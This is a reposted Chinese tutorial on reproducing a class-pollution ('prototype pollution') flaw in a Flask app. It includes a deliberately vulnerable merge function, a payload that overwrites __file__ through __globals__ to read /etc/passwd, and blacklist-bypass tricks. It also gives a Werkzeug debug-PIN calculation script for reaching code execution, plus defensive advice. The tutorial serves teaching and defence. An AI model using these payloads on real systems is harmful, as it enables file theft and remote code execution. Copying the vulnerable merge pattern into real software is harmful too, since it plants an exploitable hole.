当前位置: 首页 > news >正文

从CTF靶场到实战:手把手教你复现Flask原型链污染漏洞(附Python 3.10环境配置)

从CTF靶场到实战:手把手教你复现Flask原型链污染漏洞(附Python 3.10环境配置)

在网络安全领域,CTF比赛中的漏洞复现往往能为我们提供宝贵的学习机会。本文将带你从零开始,在Python 3.10环境下搭建一个存在原型链污染漏洞的Flask应用,并通过实战演示如何利用这一漏洞实现任意文件读取。

1. 环境准备与漏洞原理

1.1 Python 3.10环境配置

首先我们需要配置一个干净的Python 3.10开发环境:

# 使用pyenv管理Python版本 pyenv install 3.10.6 pyenv virtualenv 3.10.6 flask-poc pyenv activate flask-poc # 安装必要依赖 pip install flask==2.2.2

1.2 原型链污染原理剖析

原型链污染(Pollution)是一种在动态语言中常见的漏洞类型,它允许攻击者修改对象的原型属性,从而影响所有基于该原型的对象实例。在Python中,这一漏洞通常通过以下方式实现:

  • 魔术方法滥用:如__class____globals__
  • 不安全的对象合并:深度合并用户可控数据到对象
  • 属性覆盖:通过特殊属性名覆盖关键系统变量

提示:与JavaScript不同,Python中没有真正的原型链概念,但通过魔术方法和全局命名空间可以实现类似效果。

2. 漏洞应用搭建

2.1 创建有漏洞的Flask应用

下面是一个存在原型链污染漏洞的简化版Flask应用:

from flask import Flask, request import json app = Flask(__name__) def merge(src, dst): """不安全的对象合并函数""" for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and isinstance(v, dict): merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and isinstance(v, dict): merge(v, getattr(dst, k)) else: setattr(dst, k, v) @app.route('/register', methods=['POST']) def register(): data = json.loads(request.data) user = type('User', (), {})() # 创建空类实例 merge(data, user) # 危险操作! return "Registration complete" @app.route('/') def index(): return open(__file__).read() if __name__ == '__main__': app.run(debug=True)

2.2 漏洞点分析

上述代码中存在两个关键问题:

  1. 不安全的merge函数

    • 递归合并用户提供的字典
    • 未对特殊属性名进行过滤
    • 允许修改对象的__class__等魔术方法
  2. 敏感全局变量暴露

    • 通过__file__直接读取文件内容
    • 未对文件路径进行限制

3. 漏洞利用实战

3.1 基础利用:修改__file__变量

我们可以构造特殊payload来修改Flask应用的__file__全局变量:

import requests payload = { "__class__": { "__init__": { "__globals__": { "__file__": "/etc/passwd" } } } } response = requests.post( 'http://localhost:5000/register', json=payload )

执行后访问首页,将显示/etc/passwd文件内容而非应用源码。

3.2 绕过黑名单技巧

实际应用中通常会设置黑名单过滤特殊属性名。以下是几种绕过方法:

绕过技术示例适用场景
Unicode编码\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F简单字符串匹配
属性链替代__class__.__base__.__subclasses__()深度属性访问
方法覆盖check方法替代__init__存在替代方法时

3.3 高级利用:PIN码计算与RCE

在Flask调试模式下,我们可以结合文件读取漏洞获取生成调试PIN码所需的六个要素:

  1. 读取/etc/passwd获取用户名
  2. 读取/proc/self/cgroup获取机器ID
  3. 通过错误信息获取Flask安装路径
  4. 读取/sys/class/net/eth0/address获取MAC地址
# PIN码计算脚本示例 import hashlib from itertools import chain probably_public_bits = [ 'flaskweb', # 用户名 'flask.app', # 模块名 'Flask', # 应用名 '/usr/local/lib/python3.10/site-packages/flask/app.py' # Flask路径 ] private_bits = [ '2485377581187', # MAC地址十进制 '96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope' # 机器ID ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue h.update(bit.encode('utf-8')) h.update(b'cookiesalt') print(h.hexdigest()[:20])

4. 防御方案与最佳实践

4.1 安全编码建议

  1. 避免不安全的对象合并
    • 使用浅拷贝而非深拷贝
    • 对合并属性进行严格过滤
# 安全的merge函数实现 def safe_merge(src, dst): for k, v in src.items(): if k.startswith('__') and k.endswith('__'): continue # 过滤魔术方法 if hasattr(dst, '__setitem__'): dst[k] = v else: setattr(dst, k, v)
  1. 关键全局变量保护
    • 避免直接暴露__file__等敏感变量
    • 对文件访问进行严格路径校验

4.2 架构层面防护

  • 启用SELinux/AppArmor:限制应用的文件系统访问权限
  • 使用容器隔离:将应用运行在最小权限容器中
  • 定期依赖更新:及时修复已知漏洞

5. 漏洞拓展与变体

原型链污染漏洞在不同语言和技术栈中有多种表现形式:

  1. JavaScript原型污染

    • 通过__proto__修改对象原型
    • 影响范围更广,可导致XSS、权限提升等
  2. Python反序列化漏洞

    • 通过pickle等序列化协议触发
    • 结合__reduce__方法实现RCE
  3. 模板注入利用

    • 在Jinja2等模板引擎中利用全局变量
    • 结合SSTI实现更复杂的攻击链

在实际漏洞挖掘中,建议重点关注以下高危模式:

  • 深度对象合并操作
  • 不安全的反序列化接口
  • 动态属性访问功能
  • 反射机制的不当使用
http://www.jsqmd.com/news/857478/

相关文章:

  • ComfyUI Impact Pack:AI图像增强的终极性能优化与模块化架构完全指南
  • 别再手写循环了!Go 1.21 slices包里的Max/Min/Replace/Reverse函数,5分钟上手实战
  • 2026年GPU租用平台JupyterHub多用户环境配置
  • 2026盐城黄金回收排行榜TOP5|徐靠谱奢侈品黄金回收领跑,高价无套路 - damaigeo
  • CSAPP Bomblab通关秘籍:手把手教你用GDB调试拆掉6个炸弹(附完整答案)
  • 武汉配眼镜怕买到假货?武汉暮光 ILIT 眼镜全品牌官方授权,正品可查 - 速递信息
  • 揭秘Box64:如何在ARM设备上无缝运行x86_64程序的架构魔术
  • 揭秘智能图像分层革命:3分钟将单图变多图层PSD
  • 文件IO错误处理全攻略:从权限异常到并发锁的避坑实践
  • 番茄小说下载器完整指南:3步实现永久离线阅读
  • 7.1、总线的特性及其应用、总线的性能和总线事务、总线连接方式、总线的仲裁和数据传输方式
  • 从亚信前端实习笔试看CSS3伪类:别再混淆only-child和only-of-type了
  • 抖音下载神器终极指南:免费批量下载工具完整教程
  • 自动鼠标移动器:Mac用户保持系统活跃的终极解决方案
  • 2026年贵阳装修设计工作室深度横评:从工作室灵活性到产业化透明交付的完整选择指南 - 精选优质企业推荐官
  • AI视频新纪元:Wan2.2-ReMix3.0-Prompt-Relay-Smart 整合包发布!8G显存玩转图生视频/文生视频,支持50系显卡与全自动工作流
  • 如何实现Minecraft完全离线启动?深度解析PrismLauncher-Cracked技术架构
  • 沈阳雨露恒远客运:苏家屯靠谱的客车出租怎么联系 - LYL仔仔
  • 软考高项ITTO背到崩溃?我用Notion+Anki打造了一个动态记忆系统,效率翻倍
  • 别只盯着UI!Win11 24H2这次在你看不见的地方动了哪些‘筋骨’?
  • 保姆级教程:用TwinCAT3和网络调试助手(NetAssist)搭建你的第一个PLC TCP通信测试环境
  • 别再死记硬背ARMA定阶了!用Eviews7.2实战销售数据,手把手教你如何根据ACF/PACF图灵活选择模型
  • 银川装修预算怎么控制?从量房到报价,4步避免后期超支 - GrowthUME
  • 串口、TCP、丢包、断电:Qt 工业项目真正难的是异常现场
  • 保姆级避坑指南:用Kali Linux和PHPStudy在本地搭建VulnHub DC-9靶场环境
  • 手把手教你用RK3568 DIY一个6网口的AI网关(Ubuntu系统+1T NPU)
  • OpenHarmony应用启动全解析:从本地到远程的FA启动机制与优化实践
  • 2026 年翡翠拍卖回收七大品牌排名及解析 - 十大品牌榜
  • 手把手教你用STM32CubeMX配置STM32F103的UART4 DMA收发(含FreeRTOS消息队列整合)
  • AzurLaneAutoScript:碧蓝航线全自动托管终极指南